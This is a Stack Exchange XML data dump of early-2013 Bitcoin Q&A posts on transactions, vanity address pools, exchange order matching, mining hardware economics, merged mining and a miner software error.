  <row Id="5961" PostTypeId="2" ParentId="5948" CreationDate="2013-01-01T23:26:17.557" Score="4" Body="&lt;p&gt;You can, but you shouldn't. Bitcoin transactions should only contain the information needed for the world to verify your transaction. Anything else is essentially private information between the sender and the receiver, and would be useless bloat to the block chain (making it more expensive to maintain for everyone).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That doesn't mean you can't have messages attached to transactions at all, of course. The problem is that there is no easy way to communicate between sender and receiver right now, apart from via the block chain (which works, but as a means of communication it is slow, inefficient, expensive and unreliable). The payment protocol currently being worked on (see &lt;a href=&quot;https://gist.github.com/4120476&quot; rel=&quot;nofollow&quot;&gt;the current draft&lt;/a&gt;, or the &lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?thread_name=kb885e%24odv%241@ger.gmane.org&amp;amp;forum_name=bitcoin-development&quot; rel=&quot;nofollow&quot;&gt;mailing list archives&lt;/a&gt;) should solve this very neatly, as it supports transaction metadata that does not become part of the resulting Bitcoin transaction.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-01-01T23:26:17.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5963" PostTypeId="1" AcceptedAnswerId="5964" CreationDate="2013-01-02T09:19:16.507" Score="2" ViewCount="135" Body="&lt;p&gt;I would like to know if the outputs of any given transaction can change over time. For example, suppose I send a payment to three different addresses creating an unconfirmed transaction with several outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Output 0: Address1&#xA;Output 1: Address2&#xA;Output 2: Address3&#xA;Output 3: Address4&#xA;Output N: AddressN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I examine that same transaction two or three months later, can the outputs index association have changed in any way? For example, could Address1 have becomed the Output3? Or is that information deterministic in itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1934" LastEditorUserId="1934" LastEditDate="2013-01-02T09:28:23.267" LastActivityDate="2013-01-02T09:51:30.943" Title="Can the outputs of a transaction change over time?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5964" PostTypeId="2" ParentId="5963" CreationDate="2013-01-02T09:51:30.943" Score="5" Body="&lt;p&gt;No. A transaction is composed of a sequence of inputs and outputs in a specific order. This data structure is hashed and makes its way to the Merkle root and block header, and thus if the transaction were to change, all the blocks that follow would be invalidated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible that a fork with a different transaction double-spending the same inputs would usurp the chain you originally observed (less likely the more confirmations it has); and the status of these outputs can of course change from unspent to spent.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-01-02T09:51:30.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5965" PostTypeId="1" AcceptedAnswerId="5993" CreationDate="2013-01-02T17:23:13.390" Score="1" ViewCount="3010" Body="&lt;p&gt;When I wanted to request a vanity address from &lt;a href=&quot;https://vanitypool.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;https://vanitypool.appspot.com/&lt;/a&gt; it asked me for my public key. I tried my main address, but it said it was too short. What should I put there?&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-01-04T12:12:53.560" Title="What does it mean by Public Key on the Vanitygen Pool?" Tags="|vanity-address|public-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5966" PostTypeId="2" ParentId="5706" CreationDate="2013-01-02T17:27:39.257" Score="1" Body="&lt;p&gt;If you don't want to do it online, you can try to import the private key into Bitcoin-Qt then see if the matching public key is the one you expected. &lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-01-02T17:27:39.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5970" PostTypeId="1" AcceptedAnswerId="5971" CreationDate="2013-01-03T04:07:09.717" Score="5" ViewCount="2232" Body="&lt;p&gt;Pardon my Ignorance but can somebody explain the basics &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of how trading (Bid Buy/Bid Sell) works of the common exchanges &lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mtgox.com&#xA;www.btc-e.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aslo some of the common ways people or conditions suppress or raise the price of LTC &amp;amp; BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks In Advance&lt;/p&gt;&#xA;" OwnerUserId="2464" LastActivityDate="2013-01-03T05:06:44.873" Title="How Does trading on the Exchanges Work?" Tags="|exchanges|trading|weaknesses|buy-bitcoins|marketplace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5971" PostTypeId="2" ParentId="5970" CreationDate="2013-01-03T05:06:44.873" Score="5" Body="&lt;p&gt;Currency exchanges are implemented through programs called &lt;a href=&quot;http://en.wikipedia.org/wiki/Order_book_%28trading%29&quot;&gt;order-matching engines&lt;/a&gt;. When a new order is entered, a buy order for example, the matching engine checks to see if there is a match on the other side, a sell order at the right price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bid is the price a user is willing to pay and Ask is the price at which a seller is willing to sell. The difference between the two is called the spread. Most exchanges try to minimize the spread. The price often quoted is midway between the highest bid and the lowest ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some examples of matching engines: &lt;a href=&quot;https://github.com/jordanbaucke/Limit-Order-Book&quot;&gt;https://github.com/jordanbaucke/Limit-Order-Book&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2013-01-03T05:06:44.873" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5972" PostTypeId="1" CreationDate="2013-01-03T07:15:30.093" Score="0" ViewCount="161" Body="&lt;p&gt;Ok so I downloaded the bitcoin program and started it up.&#xA;And the program started downloading thousands of blocks.&#xA;I haven't clicked anything or signed up anywhere, I have tried and i &lt;strong&gt;think&lt;/strong&gt; succeeded in finding my address, no sure though.&#xA;Now it is still busy downloading blocks.&#xA;On the overview screen it shows wallet out of sync.&#xA;How do I sync this or does this happen once the blocks are done?&#xA;How do I make/get/mine bitcoins, any websites that can be recommended?&#xA;Do I have to add my own money to get started?&lt;/p&gt;&#xA;" OwnerUserId="2542" LastActivityDate="2013-01-03T09:00:35.687" Title="Various questions regarding wallet and mining" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5973" PostTypeId="2" ParentId="5972" CreationDate="2013-01-03T09:00:35.687" Score="1" Body="&lt;p&gt;1) yes, &quot;out of sync&quot; means that it hasn't downloaded the whole blockchain yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) to mine (&quot;make&quot;) them, you need special hardware and software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) it is much easier, yes. There are many exchanges where you can buy bitcoins, such as &lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;Mt. Gox&lt;/a&gt; or &lt;a href=&quot;https://bitcoin-central.net/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Central&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-01-03T09:00:35.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5974" PostTypeId="1" CreationDate="2013-01-03T14:17:08.710" Score="3" ViewCount="350" Body="&lt;p&gt;How long is a piece of string?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given &quot;typical&quot; UK market conditions, if I wanted to trade BitCoins as an OTC trader (via LocalBitCoins, IRC etc) - what income could I expect? £10/day? £100/day? £1000/day?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just looking for a finger in the air guesstimate.&lt;/p&gt;&#xA;" OwnerUserId="2543" LastEditorUserId="2543" LastEditDate="2013-01-03T14:26:54.713" LastActivityDate="2013-01-03T15:18:03.557" Title="What Income Could I Expect as an OTC BitCoin Trader" Tags="|trading|otc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5975" PostTypeId="1" AcceptedAnswerId="5983" CreationDate="2013-01-03T14:53:41.403" Score="14" ViewCount="6127" Body="&lt;p&gt;I'm not (yet) using Bitcoin, and I'm just approaching this world as of now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I stumbled upon some merchants that sell mining hardware (with some GH/s). But I've yet to understand what they gain, apart from the upfront cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason one should buy mining hardware is, if i'm not mistaken, to &quot;generate bitcoins&quot;, i.e. &quot;generate money&quot;; so, one expects to be able to have a return of the investment sometime in the future, so I guess that in some way my claim is correct (about &quot;generating money&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then, why don't the companies simply use their own hardware?&lt;/p&gt;&#xA;" OwnerUserId="2544" LastEditorUserId="5406" LastEditDate="2016-02-17T21:03:25.450" LastActivityDate="2018-07-04T03:34:34.230" Title="Why are companies selling mining hardware instead of using it themselves?" Tags="|asic|mining-profitability|mining-hardware|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5976" PostTypeId="2" ParentId="5974" CreationDate="2013-01-03T15:18:03.557" Score="3" Body="&lt;p&gt;After the withdrawal of Mt. Gox and Intersango from having a domestic bank transfer method for those in the UK, there has been a widening need for local trading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two exchanges that sell bitcoins and take Barclay's Pingit for payment, &lt;a href=&quot;http://Blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info/wallet&lt;/a&gt; and a new one, &lt;a href=&quot;http://bitcoinfridge.co.uk&quot; rel=&quot;nofollow&quot;&gt;BitcoinFridge.co.uk&lt;/a&gt;, so any local trader is competing with those methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for face-to-face cash trading, that is just like any retail operation where the key to success is location, location, location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look on LocalBitcoins &lt;a href=&quot;https://localbitcoins.com/postal_code/UK/london/&quot; rel=&quot;nofollow&quot;&gt;for London&lt;/a&gt;, there are a couple traders showing a history of completing hundreds of transactions, and the vast majority of the remaining traders with just a handful of completed trades.  Without knowing the timeframe for that and average purchase amount it is tough to compute earnings (profit).  It appears that there isn't much more liquidity above a 7% deviation from the market price, so that will be a limiting factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is an increasing level of local trading occurring, and buyers gravitate towards sellers who are established.  So starting sooner rather than later gets to that &quot;established&quot; level before the latecomers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there may be an opportunity to serve as a broker to other traders.  For instance, casual traders may have orders too big to accommodate themselves, but could fill the order with an affordable local source of bitcoins that are sold in larger amounts for maybe just a few percent premium over spot.  That's possibly where the biggest opportunity lies (albeit it would also be where the largest capital requirement, for inventory, is necessary as well.)&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-01-03T15:18:03.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5977" PostTypeId="1" AcceptedAnswerId="5990" CreationDate="2013-01-03T15:51:37.027" Score="0" ViewCount="1448" Body="&lt;p&gt;I'm running on linux, just installed PyOpenCL, but when I run poclbm I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 03/01/2013 16:49:12, Ignored invalid server entry: username:password@host:port&#xA;Traceback (most recent call last):&#xA;  File &quot;poclbm.py&quot;, line 84, in &amp;lt;module&amp;gt;&#xA;    import BFLMiner&#xA;  File &quot;/home/myhome/btc/poclbm-master/BFLMiner.py&quot;, line 4, in &amp;lt;module&amp;gt;&#xA;    from ioutil import find_udev, find_serial_by_id, find_com_ports&#xA;  File &quot;/home/myhome/btc/poclbm-master/ioutil.py&quot;, line 2, in &amp;lt;module&amp;gt;&#xA;    from serial.tools import list_ports&#xA;ImportError: No module named tools&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I run it with the following command:&#xA;&lt;code&gt;python poclbm.py -d 0 username:password@host:port&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2545" LastActivityDate="2013-01-04T04:31:49.453" Title="Linux poclbm error" Tags="|poclbm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5978" PostTypeId="2" ParentId="5664" CreationDate="2013-01-03T17:18:38.260" Score="8" Body="&lt;p&gt;The current development direction (January 2013) is to tighten up the IsStandard() checks even more. For example, we would like all signatures to conform to a very strict, canonical encoding to make life more difficult for potential attackers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allowing more opcodes or opcode patterns (or all opcodes/patterns) to be considered IsStandard() is certainly possible; before doing that I'd like to see a thorough analysis of the possibility for mischief using the current set of opcodes  and a lot of prototyping on the test network (where the IsStandard() check already allows all enabled opcodes).&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-01-03T17:18:38.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5980" PostTypeId="1" CreationDate="2013-01-03T18:26:41.347" Score="4" ViewCount="989" Body="&lt;p&gt;Traditional economics depend on a &quot;unit of account&quot;.  Can anyone explain how a &quot;unit of account&quot; would be manifested in Bitcoin if so desired?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-01-03T22:53:00.217" Title="What is the &quot;unit of account&quot; in terms of Bitcoin?" Tags="|economic-theory|accounting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5981" PostTypeId="2" ParentId="2667" CreationDate="2013-01-03T20:10:48.690" Score="8" Body="&lt;p&gt;It is now possible to determine the list of addresses that sent a transaction using the raw transaction &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot;&gt;JSON-RPC API&lt;/a&gt; calls that were released with bitcoind and bitcoin-qt version 0.7. The pseudo-code to accomplish this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;txid = &amp;lt;relevant transaction id&amp;gt;&#xA;addresses = []&#xA;raw_tx = decoderawtransaction(getrawtransaction(txid))&#xA;for(input in raw_tx['vin']) {&#xA;  input_raw_tx = decoderawtransaction(getrawtransaction(input['txid']))&#xA;  addresses.push(input_raw_tx['vout'][input['vout']]['scriptPubKey']['addresses'][0])&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have the list of sending addresses stored in the &lt;code&gt;addresses&lt;/code&gt; array, you can compare these addresses to a list of pre-approved green addresses. In most cases, you should expect there to only be a single unique address in the &lt;code&gt;addresses&lt;/code&gt; array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get a list of suitable green addresses, you could hard-code it into your application, or you could use a dynamic source, such as &lt;a href=&quot;https://deepbit.net/green.json&quot;&gt;Deepbit's JSON feed&lt;/a&gt;. This feed however, is notably missing &lt;a href=&quot;https://blockchain.info/address/1LNWw6yCxkUmkhArb2Nf2MPw6vG7u5WG7q&quot;&gt;Mt. Gox's Green Address&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2547" LastActivityDate="2013-01-03T20:10:48.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5982" PostTypeId="2" ParentId="3896" CreationDate="2013-01-03T20:13:39.660" Score="10" Body="&lt;p&gt;I just answered &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2667/whats-the-best-way-for-a-website-to-detect-payments-from-green-addresses/5981#5981&quot;&gt;a similar question&lt;/a&gt;. The relevant parts are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is now possible to determine the list of addresses that sent a transaction using the raw transaction &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSON-RPC API&lt;/a&gt; calls that were released with bitcoind and bitcoin-qt version 0.7. The pseudo-code to accomplish this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;txid = &amp;lt;relevant transaction id&amp;gt;&#xA;addresses = []&#xA;raw_tx = decoderawtransaction(getrawtransaction(txid))&#xA;for(input in raw_tx['vin']) {&#xA;  input_raw_tx = decoderawtransaction(getrawtransaction(input['txid']))&#xA;  addresses.push(input_raw_tx['vout'][input['vout']]['scriptPubKey']['addresses'][0])&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2547" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-01-03T20:13:39.660" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5983" PostTypeId="2" ParentId="5975" CreationDate="2013-01-03T22:41:51.537" Score="12" Body="&lt;p&gt;It is not guaranteed that purchasing mining equipment will generate in its lifetime more than it cost to purchase. That depends on the future of BTC price and the difficulty, both of which are hard to predict.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those who believe, for whatever reason, that it will indeed be profitable, will purchase devices. But most companies selling mining hardware are in the business of designing hardware, not of speculation and running datacenters - in terms of both risk profile and expertise. So long-term they should just sell the hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that some companies do develop ASIC devices with the intention to use them themselves rather than sell them.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-01-03T22:41:51.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5984" PostTypeId="1" AcceptedAnswerId="5986" CreationDate="2013-01-03T22:51:31.003" Score="8" ViewCount="1266" Body="&lt;p&gt;Can ASICS in general, and specifically any of the models coming out soon merge-mine other cryptocurrencies?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="5406" LastEditDate="2016-01-22T22:23:33.343" LastActivityDate="2016-01-22T22:23:33.343" Title="Can ASICS Merge-Mine?" Tags="|asic|namecoin|merged-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5985" PostTypeId="2" ParentId="5980" CreationDate="2013-01-03T22:53:00.217" Score="4" Body="&lt;p&gt;The &quot;unit of account&quot; is &quot;what all your numbers are denominated in&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance you might work day-to-day in dollars/ pounds and yen but your unit of account may be dollars. Everything would get totalled up in terms of &quot;dollar equivalents&quot; and you would typically report in dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can choose whatever unit of account is convenient to you.&#xA;The obvious one to use is simply bitcoin. You have all your accounts in bitcoin and report in bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you may have to report yearly accounts to (in the UK) Companies House who want to see reports denominated in pounds. Say because of this you decide to have your unit of account to be pounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus you need a rule for converting your bitcoin to your unit of account, pounds. Perhaps you choose a daily conversion rate and convert all bitcoin received that day to pounds. (Or you might use another conversion algorithm).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your unit of account is what you measure your money in.&#xA;It is a bit like measuring distance in centimetres or inches or light years. Choose the unit of account to be the easiest for what you are trying to achieve.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-01-03T22:53:00.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5986" PostTypeId="2" ParentId="5984" CreationDate="2013-01-03T23:04:33.813" Score="13" Body="&lt;p&gt;Yes. The ASICs themselves only perform the SHA256 calculations, they do not deal with anything protocol related and as such can merged-mine exactly the same as existing GPU and FPGA implementations. In other words, merged mining is part of the protocol, ASICs just do the math.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard rules of merged mining still apply, of course. The alternate currency must also be based on the same type of SHA256-based proof of work as Bitcoin and has to have implemented merged mining in their own protocol.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-01-03T23:04:33.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5987" PostTypeId="2" ParentId="5975" CreationDate="2013-01-04T01:07:09.573" Score="13" Body="&lt;p&gt;Companies that manufacture mining equipment don't just mine with their own hardware for a variety of reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;They may not be able to obtain low prices on electricity, making it more profitable for others to mine than for them to mine.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They may not be able to make use of the heat generated, making it more profitable for others to mine than for them to mine.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It's easier to get financing if you're going to make something you can sell.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They may prefer not to take the risk that mining will remain profitable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The value of mining equipment depends on the value of bitcoins, which would be negatively affected by mining becoming too consolidated. So mining is more profitable if it's distributed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It may be virtually impossible to mine profitably and they may be too smart to think otherwise.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-01-04T01:07:09.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5988" PostTypeId="2" ParentId="2483" CreationDate="2013-01-04T04:03:17.193" Score="3" Body="&lt;p&gt;There's a project on google code: &lt;a href=&quot;http://code.google.com/p/miner-scr/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/miner-scr/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2551" LastActivityDate="2013-01-04T04:03:17.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5989" PostTypeId="2" ParentId="5975" CreationDate="2013-01-04T04:06:12.520" Score="2" Body="&lt;p&gt;In the gold rush the people who made the most safe/constant returns where not the miners but the people who sold them the shovels &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e &#xA;BFL&#xA;AVALON&#xA;bASIC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mining process for Bitcoin is going through a large upheavl/transition to a new tech platform due to the ASIC mining equipment &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everybody has been promised a lot of things with large sums of $$ paid up front with many a missed delivery time ranging in 3-6+ months late on what was promised&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASIC chips are refered to as unicorn blood..having said that the next 4-6 weeks will reveal a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must understand that BTC mining calculators &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.alloscomp.com/bitcoin/calculator&quot; rel=&quot;nofollow&quot;&gt;http://www.alloscomp.com/bitcoin/calculator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;are based on GPU (or current tech platform) difficulty factors. If you put ASIC chips specs into these calculators expect to divide that figure by a factor of 20-40 due to what i believe an over capitalization of the mining process (IMHO)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would wait at least 3 months until the market settles and the big questions regarding these products have been at least partly answered (It would take at least this long until we see 2nd batch's coming through of these units :D )&lt;/p&gt;&#xA;" OwnerUserId="2464" LastActivityDate="2013-01-04T04:06:12.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5990" PostTypeId="2" ParentId="5977" CreationDate="2013-01-04T04:31:49.453" Score="0" Body="&lt;p&gt;You may also need to install &lt;code&gt;pyserial&lt;/code&gt;. See &lt;a href=&quot;https://stackoverflow.com/a/14109679/204052&quot;&gt;this StackOverflow question&lt;/a&gt; for details.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2013-01-04T04:31:49.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5991" PostTypeId="1" AcceptedAnswerId="5992" CreationDate="2013-01-04T07:23:57.117" Score="3" ViewCount="197" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Hardfork_Wishlist&quot; rel=&quot;nofollow&quot;&gt;The Hardfork Wishlist&lt;/a&gt; lists some fork-causing changes that might actually get introduced (e.g. adding more decimal digits to allow units smaller than a satoshi).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a similar list of forks that will definitelylikely never happen? (might happens in alts, but not in Bitcoin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One such change is obviously changing the target limit of coin creation from 21,000,000 to something else. Another change might be changing the reward splitting to be continous - such a change is probably too complex without much concrete benefit to be ever implemented in core Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-01-04T08:21:37.127" Title="Is there a list of &quot;hardforks that will never happen in Bitcoin&quot;?" Tags="|blockchain-fork|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5992" PostTypeId="2" ParentId="5991" CreationDate="2013-01-04T08:21:37.127" Score="5" Body="&lt;p&gt;Here, I created a page about that: &lt;a href=&quot;https://en.bitcoin.it/wiki/Prohibited_changes&quot;&gt;https://en.bitcoin.it/wiki/Prohibited_changes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2013-01-04T08:21:37.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5993" PostTypeId="2" ParentId="5965" CreationDate="2013-01-04T12:12:53.560" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=84569.msg934146#msg934146&quot; rel=&quot;nofollow&quot;&gt;ThePiachu explains it like this&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The idea is, that you can generate a vanity address without even&#xA;  knowing what private key it will actually belong to. One party grabs a&#xA;  random ECDSA keypair and saves the private key for themselves. They&#xA;  later can issue a request for a vanity address to be created, by&#xA;  supplying the public key form that keypair, their desired pattern and&#xA;  so forth. A person takes with looking for the vanity address is&#xA;  required to brute force random ECDSA private keys, get their&#xA;  corresponding public keys, add them to the provided public key, and&#xA;  proceed normally with SHA, RIPEMD and base58 until they receive the&#xA;  desired pattern. Then they give the private key they found to the&#xA;  first person, which adds the two private keys in order to get their&#xA;  vanity address. The best thing about it - the person looking for the&#xA;  solution won't know what the resulting private key is! This means that&#xA;  you can outsource your vanity key generation without needing to trust&#xA;  any third party.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;An example (available from gobittest website): We have a private key:&#xA;  18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725 which&#xA;  maps to public key:&#xA;  0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A&#xA;  299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;and say we want to find a pattern &quot;166&quot;. One of the solutions takes a&#xA;  form of a private key&#xA;  B18427B169E86DE681A1A62588E1D02AE4A7E83C1B413849989A76282A7B562F&#xA;  mapping to public key:&#xA;  049C95E0949E397FACCECF0FE8EAD247E6FD082717E4A4A876049FB34A9ADED110DFEA2EF691CC4&#xA;  A1410498F4C312F3A94318CD5B6F0E8E92051064876751C8404&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If we add the two public keys (like the person looking for the&#xA;  solution would do), we get a public key:&#xA;  0436970CE32E14DC06AC50217CDCF53E628B32810707080D6848D9C8D4BE9FE461E100E705CCA98&#xA;  54436A1283210CCEFBB6B16CB9A86B009488922A8F302A27487 which is&#xA;  equivalent to this address: 166ev9JXn2rFqiPSQAwM7qJYpNL1JrNf3h&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If we add the two private keys (like the person requesting the address&#xA;  would), we get:&#xA;  CA65722CD418ED28EC369E36CFE3B7F3CC1CD035BFBF6469CE759FCA30AD6D54 which&#xA;  maps to the same public key as the sum of the public keys, and thus -&#xA;  to the same address.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Since this is a model that requires basically no trust from any party,&#xA;  I've decided to create this &quot;Vanity Pool&quot; to enable people to easily&#xA;  outsource their vanity address creation, as well as enable people&#xA;  wanting to earn some Bitcoins to use their machines for something&#xA;  different from traditional mining.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The simplest option to get the keypair to get started with the vanitypool is to go to &lt;a href=&quot;https://www.bitaddress.org/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitaddress.org/&lt;/a&gt; and generate a new address. Note down the private key. Now switch the tab to &quot;Wallet Details&quot; and enter the private key. One of the resulting fields is the &quot;Public Key (130 characters [0-9A-F])&quot; which has exactly the required format that is needed for the vanity pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a solution is found just combine the result that is mailed to you with the private key you noted before and you can import it into your Bitcoin client.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-04T12:12:53.560" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
